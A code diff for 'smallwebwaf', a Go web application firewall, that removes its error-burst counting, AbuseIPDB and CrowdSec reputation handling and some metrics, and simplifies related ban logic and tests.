// LimitHit counts a request that broke a rate limit, a byte limit or the
|
|
||||||
// error burst, by the window and the kind of hit.
|
|
||||||
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
|
|
||||||
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Offences counts the offences of r, a request that has ended, as its
|
|
||||||
// client's history counts them, by kind, named as clients.json names
|
|
||||||
// them.
|
|
||||||
func (m *Metrics) Offences(r ratelimit.Request) {
|
|
||||||
for kind, committed := range map[string]bool{
|
|
||||||
"limit": r.BrokeLimit,
|
|
||||||
"attack": r.Attack,
|
|
||||||
"rule_blocked": r.RuleBlocked,
|
|
||||||
"waf_blocked": r.WAFBlocked,
|
|
||||||
"token_refused": r.TokenRefused,
|
|
||||||
} {
|
|
||||||
if committed {
|
|
||||||
m.offences.WithLabelValues(kind).Inc()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// RuleMatched counts a request that matched the rule id, whose action is
|
// RuleMatched counts a request that matched the rule id, whose action is
|
||||||
// action.
|
// action.
|
||||||
func (m *Metrics) RuleMatched(id, action string) {
|
func (m *Metrics) RuleMatched(id, action string) {
|
||||||
m.ruleMatches.WithLabelValues(id, action).Inc()
|
m.ruleMatches.WithLabelValues(id, action).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// WAFMatched counts a request that matched the Core Rule Set's rule id,
|
|
||||||
// with SWWAF_WAF_MODE at mode.
|
|
||||||
func (m *Metrics) WAFMatched(mode string, id int) {
|
|
||||||
m.wafMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
|
||||||
}
|
|
||||||
|
|
||||||
// StateFileWritten counts a write of the state file name, of size bytes,
|
// StateFileWritten counts a write of the state file name, of size bytes,
|
||||||
// that ended with err.
|
// that ended with err.
|
||||||
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
||||||
@@ -492,32 +469,6 @@ func (m *Metrics) StateFileEditSetAside(name string) {
|
|||||||
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// addReputationQueries adds the counter of the queries to source, a DNSBL
|
|
||||||
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
|
||||||
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
|
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
|
||||||
Name: "smallwebwaf_reputation_queries_total",
|
|
||||||
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
|
||||||
ConstLabels: source,
|
|
||||||
}, func() float64 {
|
|
||||||
return float64(count())
|
|
||||||
}))
|
|
||||||
}
|
|
||||||
|
|
||||||
// addReputationFailures adds the counter of the fetches of source, a
|
|
||||||
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
|
|
||||||
// that failed, which count tells.
|
|
||||||
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
|
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
|
||||||
Name: "smallwebwaf_reputation_failures_total",
|
|
||||||
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
|
||||||
"AbuseIPDB, that failed.",
|
|
||||||
ConstLabels: source,
|
|
||||||
}, func() float64 {
|
|
||||||
return float64(count())
|
|
||||||
}))
|
|
||||||
}
|
|
||||||
|
|
||||||
// statusClass returns the class of status, such as 2xx, or none when no
|
// statusClass returns the class of status, such as 2xx, or none when no
|
||||||
// status was sent.
|
// status was sent.
|
||||||
func statusClass(status int) string {
|
func statusClass(status int) string {
|
||||||
|
|||||||
@@ -45,9 +45,8 @@ var (
|
|||||||
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
|
// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a
|
||||||
// token, sent as Authorization: Bearer <token>: the metrics
|
// token, sent as Authorization: Bearer <token>: the metrics
|
||||||
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
|
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without
|
||||||
// it is refused with 401, which counts toward the error burst. An
|
// it is refused with 401. An endpoint whose token is unset answers 404,
|
||||||
// endpoint whose token is unset answers 404, as any other request under
|
// as any other request under /_smallwebwaf/ does.
|
||||||
// /_smallwebwaf/ does.
|
|
||||||
func (rq *request) answerAdmin() {
|
func (rq *request) answerAdmin() {
|
||||||
rq.line.Action = requestlog.ActionAdmin
|
rq.line.Action = requestlog.ActionAdmin
|
||||||
rq.startClientResponseTimeout()
|
rq.startClientResponseTimeout()
|
||||||
@@ -58,7 +57,6 @@ func (rq *request) answerAdmin() {
|
|||||||
case token == "":
|
case token == "":
|
||||||
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
||||||
case !hasToken(rq.in, token):
|
case !hasToken(rq.in, token):
|
||||||
rq.tokenRefused = true
|
|
||||||
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
||||||
rq.answer(refusal{
|
rq.answer(refusal{
|
||||||
status: http.StatusUnauthorized,
|
status: http.StatusUnauthorized,
|
||||||
@@ -284,7 +282,7 @@ func (rq *request) showClient() {
|
|||||||
|
|
||||||
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
|
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
|
||||||
|
|
||||||
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
client, seen := rq.h.limiter.Client(clientGroup(addr))
|
||||||
if seen {
|
if seen {
|
||||||
answer.Client = &client
|
answer.Client = &client
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
"slices"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
@@ -48,7 +48,7 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
|
||||||
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
|
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -79,7 +79,7 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
if after := server.Ledger.Snapshot(); !slices.Equal(after, before) {
|
||||||
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
||||||
e.method, e.path, after, before)
|
e.method, e.path, after, before)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -118,8 +118,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
|
line := s.get(ipv6Client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
// No ban is made, and none made permanent.
|
// No ban is made, and none made permanent.
|
||||||
held := server.Ledger.Snapshot()
|
if held := server.Ledger.Snapshot(); len(held) != 1 || held[0] != attackBan ||
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
|
|
||||||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
|
||||||
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
|
t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
|
||||||
"for the attack alone, as it was", held, line.BanExpires)
|
"for the attack alone, as it was", held, line.BanExpires)
|
||||||
|
|||||||
+32
-119
@@ -1,15 +1,14 @@
|
|||||||
package proxy
|
package proxy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
)
|
)
|
||||||
|
|
||||||
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
|
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
|
||||||
@@ -46,7 +45,7 @@ func (rq *request) banned(now time.Time) bool {
|
|||||||
// the client over a rate limit, as its limit percentage lowers it, which
|
// the client over a rate limit, as its limit percentage lowers it, which
|
||||||
// breaks it.
|
// breaks it.
|
||||||
func (rq *request) limitBroken(now time.Time) bool {
|
func (rq *request) limitBroken(now time.Time) bool {
|
||||||
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
|
counts, hit, over := rq.h.limiter.Count(clientGroup(rq.client), now,
|
||||||
rq.limitPercent.percent)
|
rq.limitPercent.percent)
|
||||||
rq.line.Counts = counts
|
rq.line.Counts = counts
|
||||||
|
|
||||||
@@ -72,7 +71,7 @@ func (rq *request) countBytes() {
|
|||||||
|
|
||||||
now := rq.h.now()
|
now := rq.h.now()
|
||||||
|
|
||||||
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
|
counts, hit, over := rq.h.limiter.CountBytes(clientGroup(rq.client), now,
|
||||||
rq.countedBytes(), rq.bytesPercent.percent)
|
rq.countedBytes(), rq.bytesPercent.percent)
|
||||||
rq.line.Counts.MinuteBytes = counts.MinuteBytes
|
rq.line.Counts.MinuteBytes = counts.MinuteBytes
|
||||||
rq.line.Counts.HourBytes = counts.HourBytes
|
rq.line.Counts.HourBytes = counts.HourBytes
|
||||||
@@ -83,48 +82,6 @@ func (rq *request) countBytes() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// countRefusal counts the request for the error burst once it has been
|
|
||||||
// answered, if smallwebwaf refused it after a rule file match, a trap path
|
|
||||||
// or a Core Rule Set match, or for a missing or wrong token, and in
|
|
||||||
// observe mode if enforce mode would have: more than
|
|
||||||
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
|
|
||||||
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
|
|
||||||
// not counted, and nothing is while the threshold is off.
|
|
||||||
func (rq *request) countRefusal() {
|
|
||||||
cfg := rq.h.config
|
|
||||||
if cfg.ErrorBurstThreshold == 0 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// In observe mode, a request that enforce mode would have refused
|
|
||||||
// before it reached the endpoint has had no token refused there.
|
|
||||||
tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" &&
|
|
||||||
!isInside(rq.client, cfg.AllowNets)
|
|
||||||
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked && !tokenRefused {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
now := rq.h.now()
|
|
||||||
|
|
||||||
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
|
|
||||||
cfg.ErrorBurstThreshold)
|
|
||||||
if !over {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// What the client was sent, or in observe mode would have been.
|
|
||||||
status := rq.out.status
|
|
||||||
|
|
||||||
switch rq.line.WouldAction {
|
|
||||||
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
|
|
||||||
status = http.StatusForbidden
|
|
||||||
case requestlog.ActionBanned:
|
|
||||||
status = cfg.BanResponse
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.banForLimit(now, hit, status)
|
|
||||||
}
|
|
||||||
|
|
||||||
// countedBytes returns the request's bytes, once it has ended, as the
|
// countedBytes returns the request's bytes, once it has ended, as the
|
||||||
// byte limits and the anomaly thresholds count them: the response's body
|
// byte limits and the anomaly thresholds count them: the response's body
|
||||||
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
|
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
|
||||||
@@ -149,27 +106,20 @@ func (rq *request) countedBytes() int64 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// banForLimit bans the client's netblock at now for a broken limit, the
|
// banForLimit bans the client's netblock at now for a broken limit, the
|
||||||
// one hit names, notes the offence for the log line and counts the hit in
|
// one hit names, and notes the offence for the log line. status is what
|
||||||
// the metrics. status is what the client was sent, or is sent:
|
// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over
|
||||||
// SWWAF_BAN_RESPONSE for a request over a rate limit, the app's answer for
|
// a rate limit, the app's answer for one whose bytes broke a byte limit.
|
||||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
// The ban's notes give the client's limit percentage for that kind of
|
||||||
// error burst. The ban's notes give the client's limit percentage for a
|
// limit. The ban sets the client's counters back to zero. In observe mode
|
||||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
// it makes no ban and sets nothing back, and raises the alert for the ban
|
||||||
// the client's counters back to zero. In observe mode it makes no ban and
|
// it would have made, if that alert would be sent.
|
||||||
// sets nothing back, and raises the alert for the ban it would have made,
|
|
||||||
// if that alert would be sent.
|
|
||||||
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
||||||
switch hit.Kind {
|
|
||||||
case ratelimit.KindBytes:
|
|
||||||
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
|
|
||||||
case ratelimit.KindRefusals:
|
|
||||||
rq.line.LimitHit = requestlog.LimitHitErrorBurst
|
|
||||||
default:
|
|
||||||
rq.line.LimitHit = hit.Window
|
rq.line.LimitHit = hit.Window
|
||||||
|
if hit.Kind == ratelimit.KindBytes {
|
||||||
|
rq.line.LimitHit += "_bytes" // as counts names the byte totals
|
||||||
}
|
}
|
||||||
|
|
||||||
rq.line.Offence = requestlog.OffenceLimit
|
rq.line.Offence = requestlog.OffenceLimit
|
||||||
rq.h.metrics.LimitHit(hit)
|
|
||||||
|
|
||||||
netblock := rq.h.netblock(rq.client)
|
netblock := rq.h.netblock(rq.client)
|
||||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
|
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
|
||||||
@@ -184,18 +134,17 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
|||||||
Limit: hit.Limit,
|
Limit: hit.Limit,
|
||||||
Window: hit.Window,
|
Window: hit.Window,
|
||||||
Count: hit.Count,
|
Count: hit.Count,
|
||||||
Reputation: rq.reputation,
|
|
||||||
Request: rq.noted(now, status),
|
Request: rq.noted(now, status),
|
||||||
Requests: rq.netblockRequests(netblock),
|
Requests: rq.netblockRequests(netblock),
|
||||||
}
|
}
|
||||||
|
|
||||||
switch hit.Kind {
|
percent := rq.limitPercent
|
||||||
case ratelimit.KindRequests:
|
if hit.Kind == ratelimit.KindBytes {
|
||||||
notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
|
percent = rq.bytesPercent
|
||||||
case ratelimit.KindBytes:
|
|
||||||
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
|
||||||
|
|
||||||
if rq.h.config.Observe {
|
if rq.h.config.Observe {
|
||||||
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
|
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
|
||||||
if wouldBan {
|
if wouldBan {
|
||||||
@@ -206,7 +155,7 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
|
ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
|
||||||
rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
|
rq.h.limiter.Reset(clientGroup(rq.client))
|
||||||
rq.line.BanExpires = banExpires(ban)
|
rq.line.BanExpires = banExpires(ban)
|
||||||
|
|
||||||
if made {
|
if made {
|
||||||
@@ -215,22 +164,24 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// banForAttack bans the client's netblock at now for a clear sign of
|
// banForAttack bans the client's netblock at now for a clear sign of
|
||||||
// attack, which notes name: the ban rule that matched, or the trap path
|
// attack, the match of rule, a ban rule. In observe mode it makes no ban,
|
||||||
// asked for. It fills in the rest of the notes. In observe mode it makes
|
// and raises the alert for the ban it would have made, if that alert
|
||||||
// no ban, and raises the alert for the ban it would have made, if that
|
// would be sent.
|
||||||
// alert would be sent.
|
func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
|
||||||
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
|
|
||||||
netblock := rq.h.netblock(rq.client)
|
netblock := rq.h.netblock(rq.client)
|
||||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
|
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
notes.ASN = rq.line.ASN
|
notes := bans.Notes{
|
||||||
notes.ASName = rq.line.ASName
|
ASN: rq.line.ASN,
|
||||||
notes.Country = rq.line.Country
|
ASName: rq.line.ASName,
|
||||||
notes.Reputation = rq.reputation
|
Country: rq.line.Country,
|
||||||
notes.Request = rq.noted(now, rq.h.config.BanResponse)
|
RuleID: rule.ID,
|
||||||
notes.Requests = rq.netblockRequests(netblock)
|
Target: rule.Target,
|
||||||
|
Request: rq.noted(now, rq.h.config.BanResponse),
|
||||||
|
Requests: rq.netblockRequests(netblock),
|
||||||
|
}
|
||||||
|
|
||||||
if rq.h.config.Observe {
|
if rq.h.config.Observe {
|
||||||
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
|
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
|
||||||
@@ -249,44 +200,6 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// banForCrowdSec bans the client's netblock at now until decision,
|
|
||||||
// CrowdSec's decision on the client, ends. In observe mode it makes no
|
|
||||||
// ban, and raises the alert for the ban it would have made, if that alert
|
|
||||||
// would be sent.
|
|
||||||
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
|
|
||||||
netblock := rq.h.netblock(rq.client)
|
|
||||||
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
notes := bans.Notes{
|
|
||||||
ASN: rq.line.ASN,
|
|
||||||
ASName: rq.line.ASName,
|
|
||||||
Country: rq.line.Country,
|
|
||||||
Reputation: rq.reputation,
|
|
||||||
Request: rq.noted(now, rq.h.config.BanResponse),
|
|
||||||
Requests: rq.netblockRequests(netblock),
|
|
||||||
}
|
|
||||||
|
|
||||||
if rq.h.config.Observe {
|
|
||||||
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
|
|
||||||
decision.Scenario, notes)
|
|
||||||
if wouldBan {
|
|
||||||
rq.alertBan(ban)
|
|
||||||
}
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
|
|
||||||
decision.Scenario, notes)
|
|
||||||
rq.line.BanExpires = banExpires(ban)
|
|
||||||
|
|
||||||
if made {
|
|
||||||
rq.alertBan(ban)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
||||||
// made at now would be sent. In observe mode the ban the request would
|
// made at now would be sent. In observe mode the ban the request would
|
||||||
// have made is worked out only then, at most once per
|
// have made is worked out only then, at most once per
|
||||||
@@ -363,7 +276,7 @@ func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
|||||||
return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
|
return netip.PrefixFrom(addr, h.config.BanScopeV4Prefix).Masked()
|
||||||
}
|
}
|
||||||
|
|
||||||
return h.clientGroup(addr)
|
return clientGroup(addr)
|
||||||
}
|
}
|
||||||
|
|
||||||
// banExpires is when ban ends, as the log line gives it: a time, or
|
// banExpires is when ban ends, as the log line gives it: a time, or
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ import (
|
|||||||
"maps"
|
"maps"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
|
||||||
"slices"
|
"slices"
|
||||||
"sync"
|
"sync"
|
||||||
"testing"
|
"testing"
|
||||||
@@ -166,14 +165,9 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"an IPv6 /64, by default", nil, "2001:db8:5::1",
|
"an IPv6 /64", nil, "2001:db8:5::1",
|
||||||
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"the IPv6 netblock SWWAF_IPV6_GROUP_PREFIX sets",
|
|
||||||
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
|
||||||
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
|
||||||
},
|
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -205,7 +199,6 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
s, _, _ := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
banScopeV4Prefix: "24",
|
banScopeV4Prefix: "24",
|
||||||
deniedCountries: "kp",
|
deniedCountries: "kp",
|
||||||
@@ -244,7 +237,6 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
lookupTimeout: "1h",
|
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
denyNets: denied,
|
denyNets: denied,
|
||||||
deniedCountries: "kp",
|
deniedCountries: "kp",
|
||||||
@@ -270,7 +262,6 @@ func TestBanNotes(t *testing.T) {
|
|||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
s, clk, server := startWithClock(t, geojsURL, map[string]string{
|
||||||
lookupTimeout: "1h",
|
|
||||||
rateLimitPerMinute: "1",
|
rateLimitPerMinute: "1",
|
||||||
deniedCountries: "kp",
|
deniedCountries: "kp",
|
||||||
})
|
})
|
||||||
@@ -316,7 +307,7 @@ func TestBanNotes(t *testing.T) {
|
|||||||
ledger := server.Ledger
|
ledger := server.Ledger
|
||||||
|
|
||||||
got := ledger.Bans(netblock)
|
got := ledger.Bans(netblock)
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
if len(got) != 1 || got[0] != want {
|
||||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+13
-14
@@ -28,19 +28,18 @@ func biasedThresholdsSet(cfg *config.Config) bool {
|
|||||||
|
|
||||||
// limitPercentages returns the client's limit percentages, for the rate
|
// limitPercentages returns the client's limit percentages, for the rate
|
||||||
// limits and for the byte limits, by its AS number and country as looked
|
// limits and for the byte limits, by its AS number and country as looked
|
||||||
// up, each "" when unknown, and the blocklists, DNSBL zones and AbuseIPDB
|
// up, each "" when unknown, and the blocklists and DNSBL zones that list
|
||||||
// that list it. Each is the lowest of those the settings give it, the
|
// it. Each is the lowest of those the settings give it, the first of them
|
||||||
// first of them in the order below when several are lowest: the
|
// in the order below when several are lowest: the percentage
|
||||||
// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
|
// SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
|
||||||
// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
|
// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
|
||||||
// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
|
// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
|
||||||
// country, SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists,
|
// country, SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists,
|
||||||
// the percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a
|
// the percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a
|
||||||
// client a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit,
|
// client a DNSBL zone's verdict lists, the percentage of
|
||||||
// the percentage of SWWAF_REPUTATION_ACTION while it is limit. For the
|
// SWWAF_REPUTATION_ACTION while it is limit. For the byte limits,
|
||||||
// byte limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT
|
// SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the place
|
||||||
// take the place of the first three for an AS number or a country they
|
// of the first three for an AS number or a country they list.
|
||||||
// list.
|
|
||||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
func (rq *request) limitPercentages() (percentage, percentage) {
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
asn, country := rq.line.ASN, rq.line.Country
|
asn, country := rq.line.ASN, rq.line.Country
|
||||||
@@ -60,9 +59,9 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"}
|
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWWAF_BLOCKLIST_ACTION"}
|
||||||
}
|
}
|
||||||
|
|
||||||
reputationListed := percentage{percent: whole}
|
dnsblListed := percentage{percent: whole}
|
||||||
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
if rq.dnsblListed && cfg.ReputationAction == "limit" {
|
||||||
reputationListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"}
|
dnsblListed = percentage{cfg.ReputationLimitPercent, "SWWAF_REPUTATION_ACTION"}
|
||||||
}
|
}
|
||||||
|
|
||||||
asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"),
|
asnRequests := lowest(given(cfg.ASNLimitPercent, asn, "SWWAF_ASN_LIMIT_PERCENT"),
|
||||||
@@ -79,8 +78,8 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
|
countryBytes = given(cfg.CountryBytesPercent, country, "SWWAF_COUNTRY_BYTES_PERCENT")
|
||||||
}
|
}
|
||||||
|
|
||||||
return lowest(asnRequests, countryRequests, unknown, blocklisted, reputationListed),
|
return lowest(asnRequests, countryRequests, unknown, blocklisted, dnsblListed),
|
||||||
lowest(asnBytes, countryBytes, unknown, blocklisted, reputationListed)
|
lowest(asnBytes, countryBytes, unknown, blocklisted, dnsblListed)
|
||||||
}
|
}
|
||||||
|
|
||||||
// given returns the percentage percents, the setting named setting, gives
|
// given returns the percentage percents, the setting named setting, gives
|
||||||
|
|||||||
@@ -21,9 +21,6 @@ type requestBody struct {
|
|||||||
// SWWAF_REQUEST_MAX_BYTES.
|
